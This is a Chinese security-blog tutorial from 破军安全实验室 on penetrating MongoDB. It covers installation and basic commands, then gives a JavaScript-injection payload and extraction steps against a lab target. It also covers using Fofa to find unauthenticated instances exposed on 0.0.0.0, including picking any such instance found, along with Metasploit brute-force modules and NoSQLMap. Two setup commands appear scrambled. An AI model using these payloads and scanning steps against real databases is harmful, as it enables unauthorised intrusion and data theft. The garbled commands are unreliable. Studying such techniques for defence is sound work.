破军安全实验室
本文约3400字,阅读约需9分钟。
0x00 前言
0x01 初识MongoDB
-
MongoDB 是由C++语言编写的,是一个基于分布式文件存储的开源数据库系统。
-
在高负载的情况下,添加更多的节点,可以保证服务器性能。
-
MongoDB 旨在为WEB应用提供可扩展的高性能数据存储解决方案。
-
MongoDB 将数据存储为一个文档,数据结构由键值(key=>value)对组成。MongoDB 文档类似于 JSON 对象。字段值可以包含其他文档,数组及文档数组。
0x02 Docker 安装
docker pull mongo:latest
docker run -itd --name mongo -p 27017:27017 mongo --auth 启动
-p 27017:27017 :映射容器服务的 27017 端口到宿主机的 27017 端口。外部可以直接通过 宿主机 ip:27017 访问到 mongo 的服务。
--auth:需要密码才能访问容器服务。
接着使用以下命令添加用户和设置密码,并且尝试连接。
启动服务:
exec -it mongo mongo admin docker
# 创建一个名为 admin,密码为 123456 的用户。
> db.createUser({ user:'admin',pwd:'123456',roles:[ { role:'userAdminAnyDatabase', db: 'admin'},"readWriteAnyDatabase"]});
# 尝试使用上面创建的用户信息进行连接。
'admin', '123456') db.auth(
远程连接:
使用用户名fred,密码foobar登录localhost的baz数据库例子:
mongodb://fred:foobar@localhost/baz
0x03 Windows 平台下安装 MongoDB
下载地址:
https://www.mongodb.com/try/download/community
Mongodb的配置文件:mongodb.cfg
在liunx系统下为mongodb.conf
端口默认配置,改为0.0.0.0 就可以外连了,如果没有设置密码,默认会有未授权访问漏洞
net:
port: 27017
bindIp: 127.0.0.1
添加环境变量:
mongo.exe 启动客户端
0x04 基本使用
show dbs 查看所有数据库
新建用户
db.createUser({user:"wang",pwd:"123456",roles:[{"role":"userAdmin","db":"admin"},{
"role":"root","db":"admin"},{"role":"userAdminAnyDatabase","db":"admin"}]})
对账号授权
db.auth("wang","123456")
远程登录:
mongo -u wang -p 123456 localhost:27017/admin
利用robo3t工具连接
use wang 创建数据库
db.dropDatabase() 删除数据库
show collection 查看集合
db.createCollection("runoob") 创建集合
db.collection.drop() 删除集合
插入数据:
db.data.insert({"user":"test"}) data表示的是表名
查询:
db.data.find()
删除
db.data.remove({"user":"test"})
渗透的时候就是枚举admin的用户名密码
0x05 Mongodb渗透
1.默认端口
Fofa搜索语法:
port="27017"
2.注入mongodb实例
这里用墨者一个靶场测试
先了解下mongodb的语法特征
语法:mongodb是以键值对形式进行查询的
db.col.find({"by":"菜鸟教程", "title":"MongoDB 教程"})
存储方式:
2.1、进入环境 '引号测试注入点
2.2、查看源码
2.3、构造简单回显点
源码是这样的:
db.notice.findOne({'id':'$id'});return data;
闭合构造paylaod 回显
db.notice.findOne({'id':'1'}); return ({title:1,content:'2'});return data;
得到:
id=1'}); return ({title:1,content:'2
http://xx.xx.xx.xx:49117/new_list.php?id=1%27});%20return%20({title:1,content:%272
得到回显点
2.4、查询数据流程
(1)查数据库
tojson(db)
id=1'}); return ({title:tojson(db),content:'2
(2)查询所有的集合(表)
需要用tojson转换为字符串,db.getCollectionNames()得到一个数组
tojson(db.getCollectionNames())
(3)查询字段
0代表第一条数据
tojson(db.Authority_confidential.find()[0])
查md5在线网址
https://www.cmd5.com/
mozhe:dsansda
远程连接
mongo --host 219.153.49.228 -u "mozhe" --authenticationDatabase "mozhe" -p'49117'
3.未授权访问、暴力破解
漏洞成因:
Mongodb服务安装后,默认未开启权限验证,如果服务监听在0.0.0.0,则可以远程未授权访问数据库
Fofa上随便找个未授权的:
3.0之前的版本MongoDB,默认监听在0.0.0.0,之后的版本默认在127.0.0.1
3.0及之后版本,使用 --auth参数启动后,无账号则本地和远程均无权限访问数据库
部分版本默认不存在admin库,但如果创建了用户管理账号,这个库一定存在,如果存在管理员账号,但未使用--auth参数启动。例如:
use admin
switched to db admin
show users
{
"_id" : "admin.admin",
"user" : "admin",
"db" : "admin",
"roles" : [
{
"role" : "userAdminAnyDatabase",
"db" : "admin"
}
],
"mechanisms" : [
"SCRAM-SHA-1",
"SCRAM-SHA-256"
]
}
Mongodb的配置文件:mongodb.cfg
在liunx系统下为mongodb.conf
端口默认配置,改为0.0.0.0 就可以外连了,如果没有设置密码,默认会有未授权访问漏洞
net:
port: 27017
bindIp: 0.0.0.0
改为0.0.0.0之后,直接用其他机器未授权连接数据库
增加认证:
db.createUser({ user: 'root', pwd: 'yourPassword', roles: [{ role: 'dbOwner', db: 'test' }] })
用工具暴力破解:
4.MSF渗透Mongodb
未授权
use auxiliary/scanner/mongodb/mongodb_login
set rhosts 192.168.90.0/24
set threads 10
exploit
爆破
use exploit/linux/misc/mongod_native_helper
set password 123456
set username test
set rhosts 192.168.253.70
自动化工具:
git clone https://github.com/codingo/NoSQLMap.git
python2 setup.py install
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,破军安全实验室及文章作者不为此承担任何责任。
破军安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经破军安全实验室允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
破军安全实验室
# 长按二维码 关注我们 #
原文始发于微信公众号(破军安全实验室):Mongodb在实战渗透中的利用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论